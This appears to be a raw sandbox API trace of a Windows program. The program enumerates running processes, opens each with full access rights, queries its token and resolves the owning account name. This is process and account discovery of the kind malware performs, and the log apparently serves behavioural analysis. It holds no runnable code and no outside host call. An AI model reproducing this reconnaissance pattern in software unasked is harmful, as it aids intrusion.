	[0131.129] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.134] GetProcessHeap () returned 0x380000
	[0131.135] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.135] CloseHandle (hObject=0x160) returned 1
	[0131.135] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.136] SetLastError (dwErrCode=0x0) 
	[0131.136] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4c4) returned 0x0
	[0131.137] CloseHandle (hObject=0x0) returned 0
	[0131.137] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0131.138] SetLastError (dwErrCode=0x0) 
	[0131.138] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x530) returned 0x160
	[0131.138] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x17c) returned 1
	[0131.139] GetTokenInformation (in: TokenHandle=0x17c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.139] GetProcessHeap () returned 0x380000
	[0131.139] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.139] GetTokenInformation (in: TokenHandle=0x17c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.139] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.140] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.143] GetProcessHeap () returned 0x380000
	[0131.143] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.143] CloseHandle (hObject=0x160) returned 1
	[0131.143] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.153] SetLastError (dwErrCode=0x0) 
	[0131.153] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x5cc) returned 0x0
	[0131.153] CloseHandle (hObject=0x0) returned 0
	[0131.153] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0131.155] SetLastError (dwErrCode=0x0) 
	[0131.155] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x674) returned 0x0
	[0131.155] CloseHandle (hObject=0x0) returned 0
	[0131.155] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.157] SetLastError (dwErrCode=0x0) 
	[0131.157] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x738) returned 0x0
	[0131.157] CloseHandle (hObject=0x0) returned 0
	[0131.157] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0131.160] SetLastError (dwErrCode=0x0) 
	[0131.160] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7f8) returned 0x160
	[0131.160] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x178) returned 1
	[0131.160] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.160] GetProcessHeap () returned 0x380000
	[0131.160] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.161] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.161] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.163] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.302] GetProcessHeap () returned 0x380000
	[0131.302] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.302] CloseHandle (hObject=0x160) returned 1
	[0131.302] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0131.304] SetLastError (dwErrCode=0x0) 
	[0131.304] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x6fc) returned 0x160
	[0131.304] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x12c) returned 1
	[0131.304] GetTokenInformation (in: TokenHandle=0x12c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.305] GetProcessHeap () returned 0x380000
	[0131.305] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.305] GetTokenInformation (in: TokenHandle=0x12c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.305] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.307] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.308] GetProcessHeap () returned 0x380000
	[0131.309] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.309] CloseHandle (hObject=0x160) returned 1
	[0131.309] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0131.310] SetLastError (dwErrCode=0x0) 
	[0131.310] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x750) returned 0x160
	[0131.310] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x154) returned 1
	[0131.311] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.311] GetProcessHeap () returned 0x380000
	[0131.311] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.311] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.311] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.313] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.314] GetProcessHeap () returned 0x380000
	[0131.314] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.314] CloseHandle (hObject=0x160) returned 1
	[0131.315] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0131.317] SetLastError (dwErrCode=0x0) 
	[0131.317] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x320) returned 0x160
	[0131.317] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x11c) returned 1
	[0131.317] GetTokenInformation (in: TokenHandle=0x11c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.317] GetProcessHeap () returned 0x380000
	[0131.317] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.317] GetTokenInformation (in: TokenHandle=0x11c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.317] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.320] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.322] GetProcessHeap () returned 0x380000
	[0131.322] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.322] CloseHandle (hObject=0x160) returned 1
	[0131.322] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0131.324] SetLastError (dwErrCode=0x0) 
	[0131.324] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x424) returned 0x160
	[0131.324] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x188) returned 1
	[0131.324] GetTokenInformation (in: TokenHandle=0x188, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.325] GetProcessHeap () returned 0x380000
	[0131.325] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.325] GetTokenInformation (in: TokenHandle=0x188, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.325] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.326] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.328] GetProcessHeap () returned 0x380000
	[0131.328] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.328] CloseHandle (hObject=0x160) returned 1
	[0131.328] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0131.330] SetLastError (dwErrCode=0x0) 
	[0131.330] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7d8) returned 0x160
	[0131.331] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x250) returned 1
	[0131.331] GetTokenInformation (in: TokenHandle=0x250, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.331] GetProcessHeap () returned 0x380000
	[0131.331] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.331] GetTokenInformation (in: TokenHandle=0x250, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.332] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.333] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.335] GetProcessHeap () returned 0x380000
	[0131.335] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.335] CloseHandle (hObject=0x160) returned 1
	[0131.335] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0131.337] SetLastError (dwErrCode=0x0) 
	[0131.337] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x734) returned 0x160
	[0131.337] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x158) returned 1
	[0131.337] GetTokenInformation (in: TokenHandle=0x158, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.338] GetProcessHeap () returned 0x380000
	[0131.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.338] GetTokenInformation (in: TokenHandle=0x158, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.338] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.339] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.341] GetProcessHeap () returned 0x380000
	[0131.341] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.341] CloseHandle (hObject=0x160) returned 1
	[0131.341] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0131.343] SetLastError (dwErrCode=0x0) 
	[0131.343] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x2dc) returned 0x160
	[0131.343] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x248) returned 1
	[0131.343] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.343] GetProcessHeap () returned 0x380000
	[0131.343] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.343] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.343] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.472] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.474] GetProcessHeap () returned 0x380000
	[0131.474] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.474] CloseHandle (hObject=0x160) returned 1
	[0131.474] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0131.476] SetLastError (dwErrCode=0x0) 
	[0131.476] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7b4) returned 0x160
	[0131.477] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x15c) returned 1
	[0131.477] GetTokenInformation (in: TokenHandle=0x15c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.477] GetProcessHeap () returned 0x380000
	[0131.477] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.477] GetTokenInformation (in: TokenHandle=0x15c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
